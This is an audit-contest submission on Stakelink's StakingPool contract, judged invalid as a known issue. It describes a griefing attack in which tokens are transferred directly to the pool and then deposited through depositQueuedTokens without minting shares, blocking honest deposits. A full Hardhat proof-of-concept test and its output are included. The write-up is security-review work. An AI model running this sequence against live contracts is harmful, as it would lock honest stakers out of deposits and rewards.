Liquid Staking

Stakelink
DeFiHardhatOracle
50,000 USDC
View results
Submission Details
Severity: medium
Invalid

Bad tracking of `totalStaked` opens a possibility to limit honest staker total deposit amount and return false information.

Summary

totalStaked amount can be misaligned with actual tokens inside StakingPool and even worse can be moved to a strategy without anyone actually owning them or shares minted for that amount. This isn't beneficial to the hacker, but causes a bit of havock in contract logic.

Vulnerability Details

The StakingPool isn't able to account for tokens that are directly transfered to it. But still uses it's balance instead of totalStaked in some of actions, this created an opportunity to deposit tokens into strategies without minting shares or increasing totalStaked.

The attack is easiest to achieve when a fresh pool is started, but can also occur on a mature pool once any room opens up in strategies. The example provided will be with fresh pool since it's simpler. Sequence of actions:

  • All contracts deployed

  • The attacker DIRECTLY transfers (not deposit() or donateTokens()) enough tokens to fill all strategies and to cover StakingPool unusedDepositLimit to StakingPool

  • The attacker calls depositQueuedTokens in PriorityPool with any boundaries amount. Because depositQueuedTokens prioritizes to use StakingPool unusedDeposits, it will call StakingPool.deposit with 0 amount argument.

  • Inside StakingPool.deposit():

if (_amount > 0) { // amount will be 0
token.safeTransferFrom(msg.sender, address(this), _amount);
_depositLiquidity(_data);
_mint(_account, _amount);
totalStaked += _amount;
} else {
_depositLiquidity(_data); // <-- direct _depositLiquidity will be used without minting or increasing totalStaked
}
  • At this point the StakingPool params will have shifted away from truth - totalStaked will not accurately track of what is deposited in strategies.

Example hardhat test of the attack:

it('hackor should use a loophole to deposit token without minting shares or increasing totalStaked', async () => {
const { adrs, stakingPool, token, signers, depositStake, queueStake, strategy1 } = await loadFixture(deployFixture)
const joeIndex = 1; // regular Joe
const evilIndex = 2; // evil Hackor
console.info('-Starting with an empty pool-')
console.info('Staking Pool token balance : ', await token.balanceOf(adrs.stakingPool));
console.info('Staking Pool canDeposit() : ', await stakingPool.canDeposit());
console.info('Staking Pool getStrategyDepositRoom() : ', await stakingPool.getStrategyDepositRoom());
console.info('Staking Pool totalStaked() : ', await stakingPool.totalStaked());
console.info('-Hackor transfers tokens directly to StakingPool - amount to cover room and fill StakingPool unused balance-:')
await token.connect(signers[evilIndex]).transfer(adrs.stakingPool, await stakingPool.canDeposit())
await token.connect(signers[evilIndex]).transfer(adrs.stakingPool, await stakingPool.unusedDepositLimit())
console.info('Staking Pool balance after : ', await token.balanceOf(adrs.stakingPool));
console.info('-Hackor calls deposit queue tokens with any boundaries of tokens-')
await queueStake(evilIndex, 1) // _depositMax as 1 * 10^18
console.info('-Malicious deposit consequences-')
console.info('Staking Pool canDeposit() [has room] : ', await stakingPool.canDeposit());
console.info('Staking Pool getStrategyDepositRoom() [no room!] : ', await stakingPool.getStrategyDepositRoom());
console.info('Staking Pool totalStaked() [didn\'t catch malicious deposit] : ', await stakingPool.totalStaked());
console.info('Staking Pool balance : ', await token.balanceOf(adrs.stakingPool));
console.info('-Joe tries to fill room using deposit()-')
console.info('Joe balance : ', await token.balanceOf(signers[joeIndex].address));
// Joe's deposit fails with InvalidDeposit()
await depositStake(joeIndex, fromEther(await stakingPool.canDeposit()), false)
})

The print-out will look like this and end with an InvalidDeposit

StakingPool
-Starting with empty pool-:
Staking Pool token balance : 0n
Staking Pool canDeposit() : 13000000000000000000000n
Staking Pool getStrategyDepositRoom() : 13000000000000000000000n
Staking Pool totalStaked() : 0n
-Hackor transfers tokens directly to StakingPool - amount to cover room and fill StakingPool unused balance-:
Staking Pool balance after : 23000000000000000000000n
-Hackor calls queue deposit tokens with any amount-
-Malicious deposit consequences-
Staking Pool canDeposit() [has room] : 13000000000000000000000n
Staking Pool getStrategyDepositRoom() [no room!] : 0n
Staking Pool totalStaked() [didn't catch malicious deposit] : 0n
Staking Pool balance : 10000000000000000000000n
-Joe tries to fill room using deposit()-
Joe balance : 40000000000000000000000n
Error: VM Exception while processing transaction: reverted with custom error 'InvalidDeposit()'

A similar attack can be performed if the strategies are slashed, because it suddenly opens staking room without anyone withdrawing. Theoretically with more and more slashes the hackor could slowly crowd the pool (No gain for himself, just damage to the pool reputation).

Mitigation try:

The owner could try calling strategyWithdraw to free up space in strategies and remove the "un-owned stake" but because it withdraws to the StakingPool the attacker could simply call the depositQueuedTokens and the StakingPool would deposit them to the available strategies again.

Impact

  • After the above mentioned steps are taken the StakingPool will return mixed information, like this:

Staking Pool canDeposit() [has room] : 13000000000000000000000n
Staking Pool getStrategyDepositRoom() [no room!] : 0n
Staking Pool totalStaked() [didn't catch malicious deposit] : 0n
Staking Pool balance : 10000000000000000000000n
  • Because stakingPool.canDeposit() returns a positive amount (even though there is no room left) and is used by PriorityPool.deposit() the function will try calling the StakingPool.deposit() with max available room (deposit amount or canDeposit() amount), but will revert with InvalidDeposit(). Because it will revert it will not add the deposit to queue even if positive _shouldQueue flag is passed.

  • _depositQueuedTokens will perform as expected and because getStrategyDepositRoom() returns 0 will simply revert since there is no space [expected behavior]

  • In case of fresh pool the StakingPool will have totalStaked = 0 and 0 shares while being fully occupied and unable to accept any deposits. Because nobody has shares, nobody will be able to claim rewards.

  • In case this attack is performed on partially, the pool has more ways to recover, because some users can still withdraw and open room for more deposits that way. But in that case the attacker can simply repeat the attack to keep blocking further deposits.

  • possibly more...

This attack causes it's main damage when the PriorityPool queue is emptied, because only then the PriorityPool.deposit() will start first trying to deposit into StakingPool and fail due to the attack, which in turn will prevent starting a new queue.

Marking this as "Medium" severity because the hacker doesn't really benefit or steal tokens, but only causes inconvenience to honest stakers and misalignment in pool functionality which is hard to remove and impossible to 100% prevent without a contract logic change.

Tools Used

Manual review + hardhat tests to verify

Recommendations

Tracking "same" pieces of aggregated quantities in multiple layers:

  • StakingPool - totalStaked (an aggregated staked amount of all strategies)

  • Strategies - totalDeposited/totalPrincipalDeposits (an aggregated staked amount of all vaults)

Is dangerous since any can go out of sync and cause inaccuracies or worse open the project to vulnerabilities. If possible use a single source of truth in this case the actual tokens stored by each staker in ChainLink Vault.

If that is not an option (due to business logic, gas cost or etc..). Try not to use direct token balances `token.balanceOf` and instead only use the tracked variables you have in storage. So that the tokens could have only come through the known/intended logic paths.

Same goes for staking room evaluation methods. Currently PriorityPool _deposit and _depositQueuedTokens are using slightly different methods of checking room, which contribute to this vulnerability. Strongly recommend using one and the same method in both cases if possible.

Currently:
_deposit uses - strategy.getMaxDeposits() sum and stakingPool.totalStaked to evaluate room
_depositQueuedTokens uses a combination of - strategy.getTotalDeposits(), strategy.getMaxDeposits() and pure StakingPool token amount.

unusedDepositLimit does not prevent exceeding the limit value even though it's description says -
// max number of tokens that can sit in the pool outside of a strategy either fix the description or alter the implementation so that unusedDepositLimit would cover all the ways contract receives tokens.

NOTES


Modified existing StakingPool test to check attack - full file:

import { ethers } from 'hardhat'
import {
toEther,
deploy,
deployUpgradeable,
getAccounts,
setupToken,
fromEther,
} from '../utils/helpers'
import { ERC677, StakingPool, ERC677ReceiverMock, PriorityPool, SDLPoolMock, WithdrawalPool, StrategyMock } from '../../typechain-types'
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers'
describe('StakingPool', () => {
async function deployFixture() {
const { signers, accounts } = await getAccounts()
const adrs: any = {}
const token = (await deploy('contracts/core/tokens/base/ERC677.sol:ERC677', [
'Chainlink',
'LINK',
1000000000,
])) as ERC677
adrs.token = await token.getAddress()
await setupToken(token, accounts)
await setupToken(token, accounts)
await setupToken(token, accounts)
await setupToken(token, accounts)
const erc677Receiver = (await deploy('ERC677ReceiverMock')) as ERC677ReceiverMock
adrs.erc677Receiver = await erc677Receiver.getAddress()
const stakingPool = (await deployUpgradeable('StakingPool', [
adrs.token,
'LinkPool LINK',
'lpLINK',
[
[accounts[4], 1000],
[adrs.erc677Receiver, 2000],
],
toEther(10000),
])) as StakingPool
adrs.stakingPool = await stakingPool.getAddress()
const sdlPool = (await deploy('SDLPoolMock')) as SDLPoolMock
adrs.sdlPool = await sdlPool.getAddress()
const priorityPool = (await deployUpgradeable('PriorityPool', [
adrs.token,
adrs.stakingPool,
adrs.sdlPool,
toEther(100),
toEther(1000),
])) as PriorityPool
adrs.priorityPool = await priorityPool.getAddress()
const withdrawalPool = (await deployUpgradeable('WithdrawalPool', [
adrs.token,
adrs.stakingPool,
adrs.priorityPool,
toEther(10),
0,
])) as WithdrawalPool
adrs.withdrawalPool = await withdrawalPool.getAddress()
const strategy1 = (await deployUpgradeable('StrategyMock', [
adrs.token,
adrs.stakingPool,
toEther(1000),
toEther(10),
])) as StrategyMock
adrs.strategy1 = await strategy1.getAddress()
const strategy2 = (await deployUpgradeable('StrategyMock', [
adrs.token,
adrs.stakingPool,
toEther(2000),
toEther(20),
])) as StrategyMock
adrs.strategy2 = await strategy2.getAddress()
const strategy3 = (await deployUpgradeable('StrategyMock', [
adrs.token,
adrs.stakingPool,
toEther(10000),
toEther(10),
])) as StrategyMock
adrs.strategy3 = await strategy3.getAddress()
async function depositStake(account: number, amount: number, shouldQueue: boolean) {
await token.connect(signers[account]).approve(adrs.priorityPool, toEther(amount))
await priorityPool.connect(signers[account]).deposit(toEther(amount), shouldQueue, ['0x', '0x', '0x'])
}
async function queueStake(account: number, amount: number) {
await token.connect(signers[account]).approve(adrs.priorityPool, toEther(amount))
await priorityPool.connect(signers[account]).depositQueuedTokens(0, toEther(amount), ['0x', '0x', '0x'])
}
async function withdraw(account: number, amount: number) {
await stakingPool.withdraw(accounts[account], accounts[account], toEther(amount), [
'0x',
'0x',
'0x',
])
}
await stakingPool.addStrategy(adrs.strategy1)
await stakingPool.addStrategy(adrs.strategy2)
await stakingPool.addStrategy(adrs.strategy3)
await stakingPool.setPriorityPool(adrs.priorityPool)
await stakingPool.setRebaseController(accounts[0])
await priorityPool.setDistributionOracle(accounts[0])
await priorityPool.setWithdrawalPool(adrs.withdrawalPool)
await token.approve(adrs.stakingPool, ethers.MaxUint256)
return {
signers,
accounts,
adrs,
token,
erc677Receiver,
stakingPool,
strategy1,
strategy2,
strategy3,
depositStake,
queueStake,
withdraw,
}
}
it('hackor uses a loophole to deposit token without minting shares or increasing totalStaked', async () => {
const { adrs, stakingPool, token, signers, depositStake, queueStake } = await loadFixture(deployFixture)
const joeIndex = 1; // regular Joe
const evilIndex = 2; // evil Hackor
console.info('-Starting with empty pool-')
console.info('Staking Pool token balance : ', await token.balanceOf(adrs.stakingPool));
console.info('Staking Pool canDeposit() : ', await stakingPool.canDeposit());
console.info('Staking Pool getStrategyDepositRoom() : ', await stakingPool.getStrategyDepositRoom());
console.info('Staking Pool totalStaked() : ', await stakingPool.totalStaked());
console.info('-Hackor transfers tokens directly to StakingPool - amount to cover room and fill StakingPool unused balance-:')
await token.connect(signers[evilIndex]).transfer(adrs.stakingPool, await stakingPool.canDeposit())
await token.connect(signers[evilIndex]).transfer(adrs.stakingPool, await stakingPool.unusedDepositLimit())
console.info('Staking Pool balance after : ', await token.balanceOf(adrs.stakingPool));
console.info('-Hackor calls deposit through queue with any amount of tokens-')
await queueStake(evilIndex, 1)
console.info('-Malicious deposit consequences-')
console.info('Staking Pool canDeposit() [has room] : ', await stakingPool.canDeposit());
console.info('Staking Pool getStrategyDepositRoom() [no room!] : ', await stakingPool.getStrategyDepositRoom());
console.info('Staking Pool totalStaked() [didn\'t catch malicious deposit] : ', await stakingPool.totalStaked());
console.info('Staking Pool balance : ', await token.balanceOf(adrs.stakingPool));
console.info('-Joe tries to fill room using deposit()-')
console.info('Joe balance : ', await token.balanceOf(signers[joeIndex].address));
// Joe's deposit fails with InvalidDeposit()
await depositStake(joeIndex, fromEther(await stakingPool.canDeposit()), false)
})
})
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID]Direct token transfer messes up limits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.